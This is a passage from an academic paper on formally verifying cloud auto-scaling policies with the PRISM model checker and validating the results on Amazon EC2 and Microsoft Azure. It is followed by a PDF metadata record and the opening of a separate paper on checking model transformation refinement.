<td>[-30%]</td> </tr> <tr> <td>Scale-in</td> <td>[1]</td> <td>30%</td> <td>40%</td> <td>2,3,4,8</td> <td>[-10%]</td> </tr> <tr> <td>Wait</td> <td>-</td> <td>40%</td> <td>60%</td> <td>2,3,4,8</td> <td>0%</td> </tr> </tbody> </table> Throughout this process we obtain CPU utilisation and response time guarantees under two load patterns: “periodic” and “aggressive” (see Section 5.1.1 for details). Specifically, we are interested in computing the probability that the cloud application (consisting of all the VMs) will end up in a state where the utilisation is $\geq 95\%$, and the probability response time is $\geq 2$ seconds for “periodic” load, and $\geq 5$ seconds for the “aggressive” load (Listing 4) under the policies shown in Table 1. We vary the INITIAL, VMs in the range $[1..8]$ and inc, dec in the range $[1..3]$. Listing 4: Properties to be checked \[ \begin{align*} P=?\ [F \text{ util } \geq 95] & \quad \text{//both load patterns} \\ P=?\ [F \text{ r}_t \geq 2] & \quad \text{// “periodic” load} \\ P=?\ [F \text{ r}_t \geq 5] & \quad \text{// “aggressive” load} \end{align*} \] In addition, since the outcome of the auto-scaling action depends on uncontrollable parameters, we vary the probability $p$, and the WAIT_TIME in our model. It is important to note that the verification process is not driven by too “optimistic” or too “pessimistic” parameter tuning. Specifically, we are interested in verifying for which set of “reasonable” variables in the auto-scaling policy, utilisation and response time guarantees hold. By “reasonable”, we mean that we do not analyse auto-scaling policies under unrealistic conditions, such as choosing an increment of 20 VMs, since there is a non-negligible cost associated with renting the VMs. Also, we avoid unrealistic assumptions with respect to the time taken to satisfy auto-scale requests, by not varying $p$ above 0.5. This fits our purpose of performing worst-case analysis as well. In our modelling and verification approach the worst-case is defined with $p=0.5$ and WAIT_TIME=5. Conversely, the best-case is defined with $p=0$. 4.2. PaaS case on Microsoft Azure Table 2: Auto-scaling policies for formal verification. <table> <thead> <tr> <th>Action</th> <th>Inc/Dec</th> <th>Min Util.</th> <th>Max Util.</th> <th>VMs</th> <th>Cool-down</th> </tr> </thead> <tbody> <tr> <td>Scale-out</td> <td>[1]</td> <td>71%</td> <td>100%</td> <td>[1..4]</td> <td>5 minutes</td> </tr> <tr> <td>Scale-in</td> <td>[1]</td> <td>0%</td> <td>39%</td> <td>[1..4]</td> <td>5 minutes</td> </tr> <tr> <td>Scale-out</td> <td>[1]</td> <td>71%</td> <td>100%</td> <td>[1..4]</td> <td>1 minute</td> </tr> <tr> <td>Scale-in</td> <td>[1]</td> <td>0%</td> <td>39%</td> <td>[1..4]</td> <td>1 minute</td> </tr> <tr> <td>Wait</td> <td>-</td> <td>40%</td> <td>70%</td> <td>[1..4]</td> <td>-</td> </tr> </tbody> </table> The verification process for Microsoft Azure follows a similar approach to the one for Amazon EC2, with the difference being that we did not consider response time as part of our QoS metrics, since we focused exclusively on CPU utilisation and how it is affected by the variation of the cool-down period, which is part of an auto-scaling policy. The reason for focusing exclusively on CPU utilisation is the fact that we wanted to restrict our attention to server side metrics, and only to metrics on which the auto-scale decisions are taken. The model was initialised in a similar way to the Amazon EC2 case. In the first phase, we generated load to the VMs and we gathered approximately 400 data points for CPU utilisation for the range of VMs 1 to 4, resulting in approximately 26 hours of CPU utilisation traces that were used to construct our model. For example, in Figure 1 we show the BIC plots that were used to determine the number of clusters per VM number, and in Figure 2 we show the respective (optimal) clustering plots of CPU utilisation after having chosen the number of clusters according to the previous procedure. Our verification goal is twofold; first we wish to compute the probability that the auto-scaling policies in Table 2 could result in a QoS violation, and then to identify the set of states which have a high probability of transitioning to a “bad” state. By doing that, we show how PRISM can be used to narrow down the search state space to states which are more likely to cause “bad” auto-scaling actions. We define a “bad” auto-scaling decision as an auto-scaling request which, even though it has been successful and the requested capacity has been added/removed, still it has caused to a QoS violation. Our main claim here is that properly configuring the temporal parameters is equally important to the proper configuration of the “standard” auto-scaling parameters such as the capacity to be added/removed. To address the aforementioned concepts, we first identify the set of states where a “bad” auto-scale state is true. This is achieved by adding two respective boolean variables in our model; badscale_in and badscale_out and setting them Figure 1: Determining $k$ according to the Bayesian Information Criterion (BIC). to true and false when certain transition occur in our model. After this point we can follow two possible verification strategies. We can either use PRISM’s reward operator $R$ to assign a reward of 1 to states labelled as “bad” and then compute the expected value of “bad” auto-scale decisions over all paths for a given period. An alternative verification strategy is, after having computed the probabilities for the “bad” auto-scale states, to combine PRISM’s filtering operation, with the temporal operator $X$, to select the set of states which have a high probability to transition to “bad” auto-scale states. That is, we identify the states that occur one time step before a “bad” auto-scale state. For our validation purposes we have adopted the former verification strategy (see Section 5.4). In Listing 5 we show those properties expressed in PRISM. ### Listing 5: Properties to be checked ```prism R("bad_auto_scale_state")=? [F "end"] P=? [F bad_scale_out=true] P=? [F bad_scale_in=true] filter(print, filter(argmax,P=?[X "bad_util_scale_in")]) filter(print, filter(argmax,P=?[X "bad_util_scale_out")]) ``` **Figure 2:** Optimal univariate clustering of CPU utilisation per VM number. 5. Model validation The validation framework consists of three parts. The first is the experimentation setup on the respective public cloud providers, the second is the load profile and the third is the ROC analysis. We describe each of these below. Data and other supplementary material from this process is available online [8]. 5.1. Experimentation setup on Amazon EC2 We have created an auto-scaling group with minimum and maximum capacity of 1 and 8 VMs respectively. The VM types that were used were t2.micro with 1 CPU and 1 GB of RAM. In order to simulate the auto-scaling process in the front layer (web servers) of a cloud-based application, a Python start-up script [19] was launched on those VMs, to simulate the HTTP processing and the CPU consumption. Specifically, the VMs were configured to process each request in 1 second and to send a 500 HTTP response code when 9 seconds have passed. Also, an Internet-facing load balancer was used which distributed the load in a round-robin fashion. In addition, to monitor and log all the metrics of the auto-scaling group, we have used Amazon EC2’s monitoring service, CloudWatch [20]. The performance metrics are averaged over all the VMs. We monitor and gather the performance metric data for each VM number and for each auto-scaling policy. For each of the policies shown in Table 1, we generated load and monitored our VMs on the Amazon EC2 cloud for 10 minutes. Then, we repeat this process 30 times for each auto-scaling policy, resulting in 5 hours of data gathering per auto-scaling policy we are validating, approximately. These samples are then used to validate the verification results of our model. 5.1.1. Load profile We generate two types of load in the VMs; a “periodic” and an “aggressive” load pattern. The main reason for choosing a periodic load pattern is because it is considered one of the most popular workload types in cloud computing [21]. To generate a periodic load we have used Apache JMeter [22], which is a professional open source tool for testing web-based applications. Also, on top of Apache JMeter, we make use of the Ultimate Thread Group [23] extension for Apache JMeter, which gives us greater flexibility over the threads we are creating. Specifically, we create 3 Ultimate thread groups and, within each thread group, we start generating HTTP requests from 1 thread, and then we gradually increase the number of threads. Also, we keep the load duration of each thread for approximately 200 seconds. The second type of workload we are considering has a greater degree of randomness, and our aim is to validate our model against an aggressive load pattern, but with an inherent degree of randomness. For this type of workload we make the assumption that HTTP requests arrive according to a Poisson process with exponentially distributed inter-arrival times. In order to generate random variables to simulate the workload, the inverse transform sampling method was used, which is one of the most widely used sampling methods in performance modelling. This method is relatively simple once the CDF of the random variable $X$ that is to be generated is known, and the CDF of $X$ can be inverted easily, which holds in our case since the inter-arrival times of the HTTP requests in 1 time unit are exponentially distributed, and the inverse of the CDF of an exponential distribution has a closed-form expression. The algorithm [24] works as follows: 1. Generate $u \in U(0,1)$; 2. Return $X = F_X^{-1}(u)$. As a result, step 2 will return a realisation of a random variable $X$ from an exponential distribution. In our case, since we assume 1 time unit, we keep generating exponentially distributed random variables until their sum is 1. We run 1000 simulations and, after storing the results in a vector, we take a sample size of 50 instances. 5.2. Results and model validation via ROC analysis In this section, we give an overview of ROC analysis, and how it fits our purpose of discriminating between auto-scaling policies that could or could not result in a QoS violation. Our PRISM model takes as an input an auto-scaling policy $x$, and produces a continuous output which is a probabilistic estimate denoting the probability that an auto-scaling policy will result in a QoS violation/non-violation. Effectively, we wish to find the mapping from $x$ to a discrete variable $y \in \{0,1\}$, with 0 and 1 indicating the non-violation and violation cases, respectively. However, since the output of the model is continuous ($P(x = 1)$), and the prediction we want to make is binary, through ROC analysis we find a threshold $t$ such that if $P(x = 1) \geq t$, then we predict that $y = 1$, and if $P(x = 1) < t$, then we predict $y = 0$. We choose $t$ based on our optimality criterion which minimises the Euclidean distance between the ROC Table 3: Performance measures for “periodic” load <table> <thead> <tr> <th>Perf. metrics</th> <th>ACC</th> <th>TPR</th> <th>TNR</th> <th>FPR</th> <th>FNR</th> <th>MCC</th> </tr> </thead> <tbody> <tr> <td>CPU util</td> <td>0.92</td> <td>0.88</td> <td>1</td> <td>0</td> <td>0.12</td> <td>0.83</td> </tr> <tr> <td>Resp. time</td> <td>0.9</td> <td>0.82</td> <td>0.94</td> <td>0.06</td> <td>0.18</td> <td>0.77</td> </tr> </tbody> </table> Table 4: Performance measures for “aggressive” load <table> <thead> <tr> <th>Perf. metrics</th> <th>ACC</th> <th>TPR</th> <th>TNR</th> <th>FPR</th> <th>FNR</th> <th>MCC</th> </tr> </thead> <tbody> <tr> <td>CPU util</td> <td>0.91</td> <td>0.98</td> <td>0.65</td> <td>0.35</td> <td>0.02</td> <td>0.7</td> </tr> <tr> <td>Resp. time</td> <td>0.96</td> <td>0.97</td> <td>0.93</td> <td>0.07</td> <td>0.03</td> <td>0.86</td> </tr> </tbody> </table> curve and point (0,1). Figures 3–4 show the ROC curves for CPU utilisation and response time under the two load patterns. In Figure 3(a), for example, the threshold $t$ would be approximately 0.8. However, it is important to note that what is considered optimal varies according to the problem one is trying to address, and the relative importance of missing, or increasing true and false positives. This threshold acts now as a global threshold, and based on that we compute the confusion matrix, and the associated performance measures, where the predicted outcome is determined by this threshold, and the actual values are obtained through real measurements on the Amazon EC2 cloud. For the ROC curves in Figures 3–4, we plot the diagonal (red dashed line), which can be thought of as a baseline, which would have been obtained by a random classifier, in order to show how the AUC (Area Under Curve) extends over the diagonal. AUC takes values between 0 and 1, with 1 indicating a “perfect” classifier. For example, if the AUC = 0.5, this is equivalent to a random classification model, and consequently the further the AUC extends over this diagonal, the greater the accuracy of the model. For completeness, we also consider the MCC (Matthews Correlation Coefficient) [25], which takes values between -1 and +1, indicating a negative and positive correlation between the predicted and the actual value. Tables 3 and 4 show results for this, as well as several other performance measures: overall accuracy of model (ACC); true positive rate (TPR); true negative rate (TNR); false positive rate (FPR); and false negative rate (FNR). 5.3. Experimentation setup on Microsoft Azure For the experimentation setup on Microsoft Azure, we have deployed the Bakery web application template, developed with ASP.NET and mainly in Javascript, to the Azure App Service [26]. This allowed us to validate our model under a more realistic and modern web application, while at the same time considering a PaaS cloud computing model (App Service). For this purpose, we have created an App Service Plan, and rented S1 - Standard VMs, with 1 core, and 1 GB of RAM. In addition, for our auto-scale plan we considered VMs in the range [1-4] inclusive. The CPU utilisation of the VMs was monitored using Azure’s monitoring service on a per-minute basis. 5.3.1. Load profile In order to generate load we used four Apache JMeter client machines, three virtual machines running Ubuntu Linux 16.04 LTS, and one physical machine running Windows 10. The three VMs were deployed through Microsoft Azure to the Western Europe region and they were of type *Standard DS11 v2*, while the physical machine had 4 cores, and 16 GB of RAM. The test scripts were designed in such a way to stress the web application under 1 VM, by performing a sudden increase to nearly 900 threads, and executing a test scenario for approximately 40 minutes. We have also made the XML test scripts available here [8]. In order to make our test scenario more interesting, we recorded some browsing patterns and injected random delays between consecutive requests. This allowed our test script to be more representative of a realistic case, by considering the *think time* of users when browsing a web page. We monitor and gather the performance metric data for each VM number and for each auto-scaling policy. For each of the policies shown in Table 1, we generate load and monitor our VMs on Microsoft Azure cloud for 40 minutes. Then, we repeat this process 10 times for each auto-scaling policy, resulting in 6.6 hours of data gathering per auto-scaling policy we are validating, approximately. These samples are then used to validate the verification results of our model. In Figure 5, we show sample CPU utilisation traces for 1 and 2 VMs. 5.4. Results and model validation In this section we describe our model validation with respect to what has been discussed in Section 4.2. As a metric to compare the measurements from our model with those from the realistic case, we have used the relative error, which has been used in performance modelling and analysis studies [27]. The relative error is defined as $err = \frac{X_{meas} - X_{sim}}{X_{sim}}$, where the numerator denotes the absolute error. In Table 5, we show the relative error for the expected number of bad auto-scale decisions between our PRISM model, and the measurements taken from our App Service on Microsoft Azure. <table> <thead> <tr> <th>Auto-scale actions</th> <th>PRISM</th> <th>Simulated</th> <th>Cool-down</th> <th>Rel. error</th> </tr> </thead> <tbody> <tr> <td>Scale-out</td> <td>1.01</td> <td>1</td> <td>5 minutes</td> <td>1%</td> </tr> <tr> <td>Scale-in</td> <td>0.62</td> <td>0.6</td> <td>5 minutes</td> <td>3.33%</td> </tr> <tr> <td>Scale-out</td> <td>2.287</td> <td>2.8</td> <td>1 minute</td> <td>18%</td> </tr> <tr> <td>Scale-in</td> <td>2.8</td> <td>2</td> <td>1 minute</td> <td>40%</td> </tr> </tbody> </table> 6. Discussion of results For the verification of auto-scaling policies on Amazon EC2, our model captures accurately enough the probability of CPU utilisation and response time violations for the specific auto-scaling policies that were shown in the previous section. This can be seen from the AUC values for the auto-scaling policies under the two types of load, as shown in Figures 3–4. For auto-scaling policies which could result in CPU utilisation violation, the AUC value is larger under the “periodic” load, whereas for policies which could result in response time violations, the AUC is larger for the “aggressive” load. However, for both of these cases, the AUC is high (> 0.8), which shows the high accuracy of our model, under the thresholds [0..1], for the two types of workload. In Tables 3 and 4 we show the validation results of the model after picking a global threshold for each of the four cases. For the auto-scaling policies verified under the “periodic” load (Table 3), we note that the overall accuracy (ACC) is higher for CPU utilisation violation detection, compared to response time. An important observation is that TNR=1, which represents the fact that our model was able to detect, without any error, auto-scaling policies that would not result in CPU utilisation violation, and as a result there were no misclassification of auto-scaling policies which did not cause a CPU utilisation violation in the 10 minute period. Moreover, TPR=0.88 indicates that 88% of the auto-scaling policies which did cause a CPU utilisation violation were correctly identified as such. For the response time, despite the fact that we see a marginal loss of 0.02 compared to the CPU utilisation in the overall accuracy of the model, we note that TPR and TNR achieve high values of 0.82 and 0.94, respectively. However, we note an increase in the FNR by 0.06. For the auto-scaling policies validated under the “aggressive” workload (Table 4), we note that the overall accuracy of the model with respect to CPU utilisation violation detection remains high (ACC=0.91). Furthermore, the increase in FPR (0.35), compared to the “periodic” load, means that our model flagged auto-scaling policies as CPU utilisation violators, when in fact they were not. One of the possible causes of this could have been the fact that our gathered CPU utilisation traces contained too many violations, compared to the initial gathered traces that were passed to k-means, in order to be used in the state representation of our model. This effect is due to the random nature of the load, and could potentially indicate that more samples are required. Another observation is the very small value of FNR (0.02), which is considerably more important in our case, since the effects of not flagging an auto-scaling policy as a possible QoS violator could be more serious than the opposite scenario. Finally, for both types of workload, MCC is ≥ 0.7 for both CPU utilisation and response time, indicating a very strong positive relationship between the policies our model flagged as very likely to cause/not cause a violation, and the actual outcome when these policies were evaluated in the VMs on Amazon EC2 cloud. We consider the high value of MCC (≥ 0.7) as particularly important since MCC is a balanced measure of the quality of binary classifications, even in cases of imbalanced data. For the Microsoft Azure case, our high-level goal was to show the importance of the temporal parameters of an auto-scaling policy (e.g., cool-down period) on the performance objectives of an application hosted on the cloud. In addition, we wanted to explore how the non-static parameters of an auto-scaling policy, could be modelled and encoded in the PRISM modelling language. With these goals in mind, we have experimented with the auto-scaling policies shown in Table 2, and in the next paragraph we report on the results shown in Table 5. For the five minutes cool-down period in an auto-scaling policy our model captures accurately enough the expected number of bad auto-scale decisions, with the bad scale-out actions being detected more accurately by our model, as the relative error for those actions is 1%. Furthermore, we note that the relative error for the expected number of bad scale-in actions is around 3%. The increase by approximately 2% in the relative error can be explained by the fact that the CPU utilisation traces which were used to validate our model, had a slightly greater variability in the scale-in actions for a certain number of VMs. Also, an important observation that we made by examining our sample CPU utilisation traces is that in most of the cases there existed a pattern with respect to how auto-scale actions are being triggered given the workload used as an input. In addition, from a modelling perspective the stabilisation period of five minutes after an auto-scale action has been triggered, made the correspondence, regarding the duration of each state, between the sampled CPU utilisation traces and our model easier. The negative effect of a decreasing stabilisation period on the accuracy of our model can be seen by the increased relative error for the bad scale-out and scale-in actions. This is because by choosing the minimum cool-down period of one minute we are allowing for the CPU utilisation to stabilise between the consecutive auto-scale requests. The additional complexity in capturing the temporal pattern of an auto-scale controller which is programmed to fire auto-scale requests consecutively stems from the fact that it becomes a formidable task to detect the actual sending time of an auto-scale request, and the respective time by which the auto-scale request was satisfied. The reasons above provide an explanation regarding the increased relative error under the one minute cool-down period. However, we are partially satisfied since our model managed to detect the bad scale-out actions. in a moderately effective manner. As part of our exploratory analysis, we show in Figure 6 the negative effect of having cool-down periods of short time intervals. For instance, the average number of scale-out operations for the 1-minute cool-down period is 6 compared to 2 for the 1-minute cool-down period. More importantly, the extra scale-out operations did not provide any significant benefit in minimising the QoS violations. In addition, the scale-in actions were 3 under the 1-minute cool-down compared to 1 for the 5-minute cool-down period. Finally, we note that the maximum number of VMs which seemed to be required under the 1-minute cool-down was 4 compared to 3 under the 5-minute cool-down. 7. Related work Probabilistic model checking has been employed with great success in recent years to verify and analyse properties of systems that manifest uncertainty. Domains include automotive systems, security, biology and many others. Lately, there has been an increased interest by researchers in applying probabilistic model checking to cloud computing. The main reason is that, from whichever perspective cloud computing is examined (e.g., IaaS, PaaS, SaaS layer), there is an inherent degree of uncertainty, and there is a clear need for this uncertainty to be quantitatively analysed. Over the last five years, there has been an active interest from researchers in employing probabilistic model checking in dealing with the resource provisioning problems in the cloud. For instance, Fujitsu researchers [11] used probabilistic model checking to verify the performance of live migrations in the IaaS layer [11]. They assume that migration requests are distributed in a uniform way, which is not necessarily true in practice [28]. In addition, [5] proposed a Markov decision process model developed with PRISM, among other models, in order to formally verify different types of auto-scaling policies, including rule-based, and as a result their work is characterised by its breadth. The difference between our work and theirs is that we focus exclusively on rule-based auto-scaling policies, by developing one dedicated model to simulate the dynamics of the auto-scaling process. As a result, we take a vertical in-depth approach in the auto-scaling process, by considering a significant number of parameters that occur in realistic cases. Other work on the evaluation of auto-scaling policies, not using probabilistic model checking, includes [29], which proposed a performance metric for evaluating auto-scaling policies, but it is not clear where their experiments were conducted and to what extent their proposed metric can be helpful in a realistic cloud setting. In addition, interesting work applying formal methods to prevent QoS violations, but not specifically to auto-scaling, can be found in [30]. The other differentiating factor in our work is that we perform an extensive validation of our models on two major public cloud providers (Amazon EC2, Microsoft Azure). This means that we do not have, or assume, any type of control on the underlying auto-scaling mechanisms or on the VM provisioning methods and strategies employed by the cloud provider, and through our model, we try to infer the different outcomes that could happen. In general, however, we note that the use of probabilistic model checking for pragmatic cloud use cases is still at its infancy; our research aims towards bridging this gap. 8. Conclusion and future work We presented a novel probabilistic verification scheme, followed by an extensive and robust validation on VMs rented on two major public cloud providers using two different cloud computing models, IaaS and PaaS for Amazon EC2, and Microsoft Azure respectively. This is, to the best of our knowledge, the first in-depth study of auto-scaling policies, which is conducted on public cloud providers, and not on a simulation toolkit or on a private cloud. To this end, we have developed a Markov model using the PRISM model checker, in order to capture the dynamics of the auto-scaling process. This allowed us, for the Amazon EC2 case, to compute probabilities of CPU utilisation and response time violation for each auto-scaling policy passed as an input to our model. Then, by using ROC analysis we were able to refine our original estimates, and find a global estimate which best represented a threshold for differentiating between auto-scaling policies which could be flagged as QoS violators or non-violators. Our experiments show that our verification scheme can be of valuable assistance to cloud application owners and system administrators in formally configuring, and verifying the auto-scaling policies of their applications/systems in the cloud. For the Microsoft Azure case we have focused on the temporal parameters of an auto-scaling policy, by considering cool-down periods of one and five minutes. Then, our goal was to show the usefulness of the PRISM model checker to compute the expected number of bad auto-scale decisions, and we presented our results taken into account CPU utilisation as a performance metric. Moreover, we showed the difficulties that manifest in the modelling process as the cool-down period becomes smaller, and highlighted the difficult problem of attributing a (meaningful) duration to the states in the model in order to match to an extent the realistic situation. In this work, we dealt mainly with the dynamics of an auto-scaling policy by varying the increments, the initial VMs in operation, and the cool-down periods as part of the controllable parameters. Also, we have made a first step towards quantifying the impact of the temporal properties of auto-scaling policies on QoS metrics, such as CPU utilisation. To this end, we have made the correspondence between those temporal patterns to a probabilistic model, and shown how probabilistic model checking can play a significant and more active role in dealing with pragmatic cloud computing problems. As future work, we will experiment with cool-down periods of various durations, and conduct further research in the context of auto-scaling policies which dynamically change. Acknowledgements. This work has been partially supported by a Microsoft Azure Sponsorship (offer id: MS-AZR-0036P). The second author is part-funded by the PRINCESS project, under the DARPA BRASS programme. References Alexandros Evangelidis is a PhD candidate in the school of computer science, University of Birmingham. His research interests lie on the intersection of performance modelling and probabilistic verification, and seeks to devise new models which can be applied to pragmatic cloud computing scenarios. David Parker is a Reader in Computer Science at the University of Birmingham. He completed his PhD in 2003, also at the University of Birmingham, and then worked as a post-doctoral researcher, first at Birmingham and then at the University of Oxford, between 2007 and 2012. His main research interests are in the area of formal verification, with a particular focus on the analysis of quantitative aspects such as probabilistic and real-time behaviour, and he has published over 100 papers in this area. He also leads the development of the widely used probabilistic verification tool PRISM. Rami Bahsoon is a Senior Lecturer in Software Engineering, in the school of computer science, University of Birmingham. His research is focused on cloud software engineering, self-adaptive systems, and economics-driven software engineering. He is the programme chair of IEEE Services 2017, the Visionary Track chair for Services 2015 and 2016, the Utility Computing Track at HPCC 2014, Doctoral Symposium of UCC 2014 and 2106. He edited four books including Software Architecture for Big Data and the Cloud 2017, Elsevier. He holds a PhD in Software Engineering from University College London(‘2006). Highlights - Proposes a framework for formal reasoning about cloud-based auto-scaling policies, which is based on a novel approach combining performance modelling and probabilistic verification. - Receiver Operating Characteristic (ROC) analysis is applied to the probabilistic verification’s output, as a way of finding a threshold of discrimination between auto-scaling policies that could/could not result in a Quality of Service (QoS) violation. - The development and validation of those models was done in a public cloud setting, and not on a simulation toolkit. In particular, we validated our model on Amazon EC2 and Microsoft Azure. - Two cloud computing models have been targeted, Infrastructure as a Service (IaaS) and Platform as a Service (PaaS). - Our experimental results show that the modelling process along with the model itself can be very effective in providing the necessary formal reasoning to cloud application owners with respect to the configuration of their auto-scaling policies.
{"Source-Url": "https://research.birmingham.ac.uk/portal/files/46369008/1_s2.0_S0167739X17312475_main.pdf", "len_cl100k_base": 12529, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 55136, "total-output-tokens": 14878, "length": "2e13", "weborganizer": {"__label__adult": 0.0003490447998046875, "__label__art_design": 0.0005741119384765625, "__label__crime_law": 0.00043487548828125, "__label__education_jobs": 0.002765655517578125, "__label__entertainment": 0.00015115737915039062, "__label__fashion_beauty": 0.0002474784851074219, "__label__finance_business": 0.0013828277587890625, "__label__food_dining": 0.0003790855407714844, "__label__games": 0.0006895065307617188, "__label__hardware": 0.0014514923095703125, "__label__health": 0.0010442733764648438, "__label__history": 0.0004489421844482422, "__label__home_hobbies": 0.00016033649444580078, "__label__industrial": 0.0006542205810546875, "__label__literature": 0.0005159378051757812, "__label__politics": 0.0004191398620605469, "__label__religion": 0.0004227161407470703, "__label__science_tech": 0.39892578125, "__label__social_life": 0.00017440319061279297, "__label__software": 0.0294036865234375, "__label__software_dev": 0.55810546875, "__label__sports_fitness": 0.0002524852752685547, "__label__transportation": 0.0007638931274414062, "__label__travel": 0.00024580955505371094}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 59346, 0.03544]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 59346, 0.17125]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 59346, 0.89905]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 0, null], [0, 2326, false], [2326, 5868, null], [5868, 9350, null], [9350, 12490, null], [12490, 15520, null], [15520, 19044, null], [19044, 22129, null], [22129, 24816, null], [24816, 27670, null], [27670, 29302, null], [29302, 30502, null], [30502, 33513, null], [33513, 35347, null], [35347, 38272, null], [38272, 40787, null], [40787, 44162, null], [44162, 46723, null], [46723, 49941, null], [49941, 53083, null], [53083, 56842, null], [56842, 58336, null], [58336, 58336, null], [58336, 59346, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 0, null], [0, 2326, true], [2326, 5868, null], [5868, 9350, null], [9350, 12490, null], [12490, 15520, null], [15520, 19044, null], [19044, 22129, null], [22129, 24816, null], [24816, 27670, null], [27670, 29302, null], [29302, 30502, null], [30502, 33513, null], [33513, 35347, null], [35347, 38272, null], [38272, 40787, null], [40787, 44162, null], [44162, 46723, null], [46723, 49941, null], [49941, 53083, null], [53083, 56842, null], [56842, 58336, null], [58336, 58336, null], [58336, 59346, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 59346, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 59346, null]], "pdf_page_numbers": [[0, 0, 1], [0, 0, 2], [0, 2326, 3], [2326, 5868, 4], [5868, 9350, 5], [9350, 12490, 6], [12490, 15520, 7], [15520, 19044, 8], [19044, 22129, 9], [22129, 24816, 10], [24816, 27670, 11], [27670, 29302, 12], [29302, 30502, 13], [30502, 33513, 14], [33513, 35347, 15], [35347, 38272, 16], [38272, 40787, 17], [40787, 44162, 18], [44162, 46723, 19], [46723, 49941, 20], [49941, 53083, 21], [53083, 56842, 22], [56842, 58336, 23], [58336, 58336, 24], [58336, 59346, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 59346, 0.1327]]}
olmocr_science_pdfs
2024-12-10
2024-12-10
8dc376aed7f0a18660ec8f68debec3e4413cf752
Repositorio Institucional de la Universidad Autónoma de Madrid https://repositorio.uam.es Esta es la versión de autor de la comunicación de congreso publicada en: This is an author produced version of a paper published in: DOI: http://dx.doi.org/10.1007/978-3-642-38883-5_15 Copyright: © 2013 Springer-Verlag El acceso a la versión del editor puede requerir la suscripción del recurso Access to the published version may require subscription Checking Model Transformation Refinement Fabian Büttner¹, Marina Egea², Esther Guerra³, and Juan de Lara³ ¹ École des Mines de Nantes - INRIA (France) fabian.buettner@inria.fr ² Atos Research & Innovation Dept., Madrid (Spain) marina.egea@atosresearch.eu ³ Universidad Autónoma de Madrid (Spain) {Esther.Guerra, Juan.deLara}@uam.es Abstract. Refinement is a central notion in computer science, meaning that some artefact $S$ can be safely replaced by a refinement $R$, which preserves $S$’s properties. Having available techniques and tools to check transformation refinement would enable (a) the reasoning on whether a transformation correctly implements some requirements, (b) whether a transformation implementation can be safely replaced by another one (e.g. when migrating from QVT-R to ATL), and (c) bring techniques from stepwise refinement for the engineering of model transformations. In this paper, we propose an automated methodology and tools support to check transformation refinement. Our procedure admits heterogeneous specification (e.g. PaMoMo, Tracts, OCL) and implementation languages (e.g. ATL, QVT), relying on their translation to OCL as a common representation formalism and on the use of model finding tools. 1 Introduction The raising complexity of languages, models and their associated transformations makes evident the need for engineering methods to develop model transformations [12]. Model transformations are software artefacts and, as such, should be developed using sound engineering principles. However, in current practice, transformations are normally directly encoded in some transformation language, with no explicit account for their requirements. These are of utmost importance, as they express what the transformation has to do, and can be used as a basis to assert correctness of transformation implementations. While many proposals for requirements gathering, representation and reasoning techniques have been proposed for general software engineering [15, 23], their use is still the exception when developing model transformations. Specifications play an important role in software engineering, and can be used in the development of model transformations in several ways. First, they make explicit what the transformation should do, and can be used as a basis for implementation. Specifications do not necessarily need to be complete, but can document the main requirements and properties expected of a transformation. Then, they can be used as oracle functions for testing implementations [11]. In this setting, it is useful to know when a transformation $T$ refines a specification $S$. Intuitively, this means that $T$ can be used in place of $S$ without breaking any assumption of the users of $S$. Some other times, we need to know whether a transformation $T$ refines another transformation $T'$ and can replace it. Fig. 1 gathers several scenarios where checking transformation refinement is useful. In (a), an implementation refines a requirements specification, hence ensuring correctness of the implementation with respect to the specification. In (b), a transformation implementation (e.g. in QVT) is refined by another one (e.g. in ATL) which can replace the former safely. This is especially useful if we want to migrate transformations, ensuring correctness of the migrated transformation. Finally, in (c), a specification refines another specification, which enables the application of stepwise refinement methodologies for transformation development. In this paper, we tackle the previous scenarios by proposing an automated methodology to check transformation refinements. Our proposal relies on OCL as a common denominator for both specification languages (e.g. PaMoMo [13], Tracts [25] and OCL [18]) and transformation languages (e.g. QVT-R [21], triple graph grammars [22] and ATL [16]). For this purpose, we profit from previous works translating these languages into OCL [6, 7, 13, 25]. Hence, transformation specifications and implementations are transformed into transformation models [4] and we use SAT/model finding [6] techniques to automatically find counterexamples that satisfy properties assumed by the specification, but are incorrectly implemented. While refinement has been previously tackled in [25], our work is novel in that it proposes an automated procedure for performing this checking, and is able to tackle heterogeneous specification and transformation languages by using OCL as the underlying language for reasoning. Paper organization Section 2 motivates the need for transformation refinement using an example. Section 3 introduces model transformation refinement. Section 4 details our methodology to check refinements. Section 5 provides more examples, Section 6 compares with related work and Section 7 concludes. 2 A Motivating Example Assume we have gathered the requirements for the Class2Relational transformation, and want to use them as a blueprint to check whether an implementation correctly addresses them. Fig. 2 shows part of a specification of the requirements using the PaMoMo specification language [13], though we could choose any other transformation specification language instead (like Tracts or OCL). PaMoMo is a formal, pattern-based, declarative, bidirectional specification language that can be used to describe correctness requirements of transformations and of their input and output models in an implementation-independent \[\text{Fig. 1. Refinement scenarios.}\] The interested reader can find the formalization of these concepts in [13, 14]. Preconditions, postconditions, and invariants are represented as graph patterns, which can be positive to specify expected model fragments, or negative to specify forbidden ones. They can have 